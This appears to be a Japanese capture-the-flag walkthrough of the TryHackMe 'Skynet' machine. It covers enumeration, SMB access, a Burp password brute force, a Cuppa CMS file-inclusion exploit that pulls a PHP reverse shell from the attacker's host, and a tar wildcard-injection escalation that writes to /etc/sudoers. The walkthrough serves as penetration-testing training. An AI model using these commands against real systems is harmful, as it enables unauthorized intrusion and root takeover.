今回はTryHackMeのSkynetを攻略していきます。
スキャニング
まずはnmapを使ってスキャニングしていきます。
$ nmap -sC -sV 10.10.174.150
気になるところとしてはSSH、HTTP、SMBのサービスが起動しています。
まずはHTTP、つまりWebサイトの調査をしていくことにします。
Webサイトの調査
gobusterを使ってWebサイトのページ、ディレクトリを調査していきます。
$ gobuster dir -u http://10.10.174.150/ -w /usr/share/wordlists/dirb/common.txt
いくつかのページがあるので1つ1つブラウザで確認していきいます。そこで気になるのが /squirrelmail
のページです。ログイン画面がありますね。
ID : admin Password : admin といった予測可能なIDとPasswordを試してみましたが、ログインできませんでした。
調査が煮詰まったので、今度はSMBの調査をしてみます。
SMBの調査
まずはsmbmapでSMBの共有マウントを確認していきます。
smbmap -H 10.10.174.150
anonymousがあるので、ログインしてみます。
ファイルとディレクトリがあります。
smbclient //10.10.174.150/anonymous
まずは attention.txt をダウンロードします。そしてlogsディレクトリにも移動しています。
smb: \> dir
. D 0 Fri Nov 27 01:04:00 2020
.. D 0 Tue Sep 17 16:20:17 2019
attention.txt N 163 Wed Sep 18 12:04:59 2019
logs D 0 Wed Sep 18 13:42:16 2019
9204224 blocks of size 1024. 5831068 blocks available
smb: \> get attention.txt
getting file \attention.txt of size 163 as attention.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \> cd logs
logsディレクトリ内にもファイルがあるのでダウンロードしておきましょう。
smb: \> cd logs
smb: \logs\> dir
. D 0 Wed Sep 18 13:42:16 2019
.. D 0 Fri Nov 27 01:04:00 2020
log2.txt N 0 Wed Sep 18 13:42:13 2019
log1.txt N 471 Wed Sep 18 13:41:59 2019
log3.txt N 0 Wed Sep 18 13:42:16 2019
get
9204224 blocks of size 1024. 5831064 blocks available
smb: \logs\> get log1.txt
getting file \logs\log1.txt of size 471 as log1.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \logs\>
ダウンロードした attention.txt
と log1.txt
を見てみます。
そうすると最近パスワードが変更されたという案内文とパスワード履歴のようなものがあります。
案内文を書いたのは Miles Dyson のため、milesdyson というIDと log1.txtのパスワード履歴(っぽい文字列)を用いて squirrelmail
のログインを試みてみることにします。
パスワードクラッキング
さて、ログイン検証ですが、手作業でやってもいいのですが、今回はBurpSuiteでやってみることにします。
リクエストをキャプチャして、Intruderに送ります。
Intruderでパスワードの部分をパラメータ化します。
Payloadsタブで log1.txt を選択します。
そして Start attack ボタンを押します。
少し待つと結果が出力されます。
1つだけLengthが違うリクエストがあります。
実際にブラウザでログインを試してみるとログインできました。
ログイン後の画面
メールの調査
ログインして、メールを確認していきます。
1通のメールでSMBのパスワードが取得できました。
次はSMBのログインを試みます。
SMBの調査
ID : milesdyson と 取得したパスワードでsambaにログインを試みてみます。
smbclient //10.10.174.150/milesdyson -U milesdyson
ログインするといくつかのファイルとディレクトリがあるので確認していきます。
そのうちの1つに important.txt という怪しいファイルがあるのでダウンロードしておきます。
ダウンロードした important.txt の中を見てみると隠しページの情報がありました。
隠しページの調査
隠しページにブラウザでアクセスしてみます。
特に情報はないので、gobusterでWebサイトの調査をしていきます。
$ gobuster dir -u http://10.10.174.150/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirb/common.txt
/administorator といういかにも怪しいページが見つかりました。
今度はこのページを調査していきましょう。
隠し管理者ページの調査
まずはブラウザでアクセスしてみます。
そうするとログインが画面が表示されました。またこのページは cuppa cms というアプリケーションが使われているようです。
アプリケーション名がわかったので脆弱性があるか確認してみます。
$ searchspoloit cupa cms
脆弱性が見つかりました。脆弱性は Local / Remote File Inclusion です。
脆弱性を使って侵入
脆弱性が見つかったのでこの脆弱性を使って侵入することを考えてみます。
まずはこの脆弱とexploitに関する情報を確認するため、ファイルをダウンロードします。
$ searchsploit -m php/webapps/25971.txt
25971.txt を確認すると exploit 例が記載されています。urlConfig に実行するファイルを記載するようです。
まずは試しに2つ目のexploitを試してみます。
そうすると /etc/passwd が出力されました。Webサーバ用意してそこにリバースシェルのファイルを置いて同じに実行することでリバースシェルができそうです。
よって、リバースシェルファイルの用意、Webサーバの用意、待ち受けポートの作成をしてブラウザから実行をしてみることにします。
まずはリバースシェルファイルです。
$ wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
リバースシェルファイルの中身を環境に合わせて編集します。
次に新しいタブを用意してWebサーバを用意します。
このコマンドはリバースシェルファイルがあるディレクトリで実行します。
$ python3 -m http.server 80
さらに新しいタブを用意してリバースシェルの待受けポートを作成します。
$ nc -lvnp 1234
そして脆弱性を突いてリバースシェルファイルを実行します
http://10.10.174.150/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.9.80.126/php-reverse-shell.php
リバースシェルがうまく行けば侵入完了です。
権限昇格
侵入直後、アカウントは www-data のため、権限は低いです。今後は権限昇格を狙っていきます。
権限昇格のための情報収集としてまずは sudo -l を実行してみましたが、使えそうにありません。つづいて crontab を確認したところ backup.sh が定期的に動いています。
backup.sh を確認してみます。
tarコマンドで /var/www/html/フォルダ配下すべてをバックアップしています。
ワイルドカードインジェクションが使えそうです。
現在のユーザである www-data をsudersファイルに登録してsudoが使えるようにしていきます。
ワイルドカードインジェクションの説明はここです。
まずは実行させたいコマンドをシェルスクリプトとして作成します。viが使えないのでechoを使ってファイルを作成します。
$ cd /var/www/html/
$ echo 'echo "www-data ALL=(root) NOPASSWD: ALL" >> /etc/sudoers' > sudo.sh
ファイル名が --checkpoint-action=exec=sh sudo.sh
および --checkpoint=1
になるようにファイルを作成します。これはbackup.sh実行時に tarコマンドのオプションとして認識され実行されます。
$ touch -- "--checkpoint-action=exec=sh sudo.sh"
$ touch -- "--checkpoint=1"
backup.shが1分ごとに実行されているため、1分ほど待ってsudoコマンドを実行してみます。
権限昇格がうまく行っていれば rootになっており、root.txtの中身が見れるようになります。
$ sudo su